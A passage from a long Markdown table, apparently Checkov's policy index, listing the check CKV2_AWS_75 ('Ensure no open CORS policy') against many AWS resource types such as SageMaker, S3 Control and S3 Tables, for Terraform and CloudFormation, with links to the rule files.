[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4833 | CKV2_AWS_75              | resource                         | aws_s3control_multi_region_access_point                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4834 | CKV2_AWS_75              | resource                         | aws_s3control_multi_region_access_point                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4835 | CKV2_AWS_75              | resource                         | aws_s3control_multi_region_access_point_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4836 | CKV2_AWS_75              | resource                         | aws_s3control_multi_region_access_point_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4837 | CKV2_AWS_75              | resource                         | aws_s3control_object_lambda_access_point                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4838 | CKV2_AWS_75              | resource                         | aws_s3control_object_lambda_access_point                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4839 | CKV2_AWS_75              | resource                         | aws_s3control_object_lambda_access_point_policy                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4840 | CKV2_AWS_75              | resource                         | aws_s3control_object_lambda_access_point_policy                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4841 | CKV2_AWS_75              | resource                         | aws_s3control_storage_lens_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4842 | CKV2_AWS_75              | resource                         | aws_s3control_storage_lens_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4843 | CKV2_AWS_75              | resource                         | aws_s3outposts_endpoint                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4844 | CKV2_AWS_75              | resource                         | aws_s3outposts_endpoint                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4845 | CKV2_AWS_75              | resource                         | aws_s3tables_namespace                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4846 | CKV2_AWS_75              | resource                         | aws_s3tables_namespace                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4847 | CKV2_AWS_75              | resource                         | aws_s3tables_table                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4848 | CKV2_AWS_75              | resource                         | aws_s3tables_table                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4849 | CKV2_AWS_75              | resource                         | aws_s3tables_table_bucket                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4850 | CKV2_AWS_75              | resource                         | aws_s3tables_table_bucket                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4851 | CKV2_AWS_75              | resource                         | aws_s3tables_table_bucket_policy                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4852 | CKV2_AWS_75              | resource                         | aws_s3tables_table_bucket_policy                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4853 | CKV2_AWS_75              | resource                         | aws_s3tables_table_policy                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4854 | CKV2_AWS_75              | resource                         | aws_s3tables_table_policy                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4855 | CKV2_AWS_75              | resource                         | aws_sagemaker_app                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4856 | CKV2_AWS_75              | resource                         | aws_sagemaker_app                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4857 | CKV2_AWS_75              | resource                         | aws_sagemaker_app_image_config                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4858 | CKV2_AWS_75              | resource                         | aws_sagemaker_app_image_config                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4859 | CKV2_AWS_75              | resource                         | aws_sagemaker_code_repository                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4860 | CKV2_AWS_75              | resource                         | aws_sagemaker_code_repository                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4861 | CKV2_AWS_75              | resource                         | aws_sagemaker_data_quality_job_definition                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4862 | CKV2_AWS_75              | resource                         | aws_sagemaker_data_quality_job_definition                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4863 | CKV2_AWS_75              | resource                         | aws_sagemaker_device                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4864 | CKV2_AWS_75              | resource                         | aws_sagemaker_device                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4865 | CKV2_AWS_75              | resource                         | aws_sagemaker_device_fleet                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4866 | CKV2_AWS_75              | resource                         | aws_sagemaker_device_fleet                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4867 | CKV2_AWS_75              | resource                         | aws_sagemaker_domain                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4868 | CKV2_AWS_75              | resource                         | aws_sagemaker_domain                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4869 | CKV2_AWS_75              | resource                         | aws_sagemaker_endpoint                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4870 | CKV2_AWS_75              | resource                         | aws_sagemaker_endpoint                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4871 | CKV2_AWS_75              | resource                         | aws_sagemaker_endpoint_configuration                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4872 | CKV2_AWS_75              | resource                         | aws_sagemaker_endpoint_configuration                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4873 | CKV2_AWS_75              | resource                         | aws_sagemaker_feature_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4874 | CKV2_AWS_75              | resource                         | aws_sagemaker_feature_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4875 | CKV2_AWS_75              | resource                         | aws_sagemaker_flow_definition                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4876 | CKV2_AWS_75              | resource                         | aws_sagemaker_flow_definition                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4877 | CKV2_AWS_75              | resource                         | aws_sagemaker_hub                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4878 | CKV2_AWS_75              | resource                         | aws_sagemaker_hub                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4879 | CKV2_AWS_75              | resource                         | aws_sagemaker_human_task_ui                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4880 | CKV2_AWS_75              | resource                         | aws_sagemaker_human_task_ui                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4881 | CKV2_AWS_75              | resource                         | aws_sagemaker_image                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4882 | CKV2_AWS_75              | resource                         | aws_sagemaker_image                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4883 | CKV2_AWS_75              | resource                         | aws_sagemaker_image_version                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4884 | CKV2_AWS_75              | resource                         | aws_sagemaker_image_version                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4885 | CKV2_AWS_75              | resource                         | aws_sagemaker_mlflow_tracking_server                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4886 | CKV2_AWS_75              | resource                         | aws_sagemaker_mlflow_tracking_server                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4887 | CKV2_AWS_75              | resource                         | aws_sagemaker_model                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4888 | CKV2_AWS_75              | resource                         | aws_sagemaker_model                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4889 | CKV2_AWS_75              | resource                         | aws_sagemaker_model_package_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4890 | CKV2_AWS_75              | resource                         | aws_sagemaker_model_package_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4891 | CKV2_AWS_75              | resource                         | aws_sagemaker_model_package_group_policy                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4892 | CKV2_AWS_75              | resource                         | aws_sagemaker_model_package_group_policy                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4893 | CKV2_AWS_75              | resource                         | aws_sagemaker_monitoring_schedule                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4894 | CKV2_AWS_75              | resource                         | aws_sagemaker_monitoring_schedule                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4895 | CKV2_AWS_75              | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4896 | CKV2_AWS_75              | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4897 | CKV2_AWS_75              | resource                         | aws_sagemaker_notebook_instance_lifecycle_configuration                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4898 | CKV2_AWS_75              | resource                         | aws_sagemaker_notebook_instance_lifecycle_configuration                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4899 | CKV2_AWS_75              | resource                         | aws_sagemaker_pipeline                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4900 | CKV2_AWS_75              | resource                         | aws_sagemaker_pipeline                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4901 | CKV2_AWS_75              | resource                         | aws_sagemaker_project                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4902 | CKV2_AWS_75              | resource                         | aws_sagemaker_project                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4903 | CKV2_AWS_75              | resource                         | aws_sagemaker_servicecatalog_portfolio_status                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4904 | CKV2_AWS_75              | resource                         | aws_sagemaker_servicecatalog_portfolio_status                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4905 | CKV2_AWS_75              | resource                         | aws_sagemaker_space                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4906 | CKV2_AWS_75              | resource                         | aws_sagemaker_space                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4907 | CKV2_AWS_75              | resource                         | aws_sagemaker_studio_lifecycle_config                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4908 | CKV2_AWS_75              | resource                         | aws_sagemaker_studio_lifecycle_config                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4909 | CKV2_AWS_75              | resource                         | aws_sagemaker_user_profile                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4910 | CKV2_AWS_75              | resource                         | aws_sagemaker_user_profile                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4911 | CKV2_AWS_75              | resource                         | aws_sagemaker_workforce                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4912 | CKV2_AWS_75              | resource                         | aws_sagemaker_workforce                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4913 | CKV2_AWS_75              | resource                         | aws_sagemaker_workteam                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4914 | CKV2_AWS_75              | resource                         | aws_sagemaker_workteam                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4915 | CKV2_AWS_75              | resource                         | aws_scheduler_schedule                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4916 | CKV2_AWS_75              | resource                         | aws_scheduler_schedule                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4917 | CKV2_AWS_75              | resource                         | aws_scheduler_schedule_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4918 | CKV2_AWS_75              | resource                         | aws_scheduler_schedule_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4919 | CKV2_AWS_75              | resource                         | aws_schemas_discoverer                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4920 | CKV2_AWS_75              | resource                         | aws_schemas_discoverer                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4921 | CKV2_AWS_75              | resource                         | aws_schemas_registry                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4922 | CKV2_AWS_75              | resource                         | aws_schemas_registry                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4923 | CKV2_AWS_75              | resource                         | aws_schemas_registry_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4924 | CKV2_AWS_75              | resource                         | aws_schemas_registry_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4925 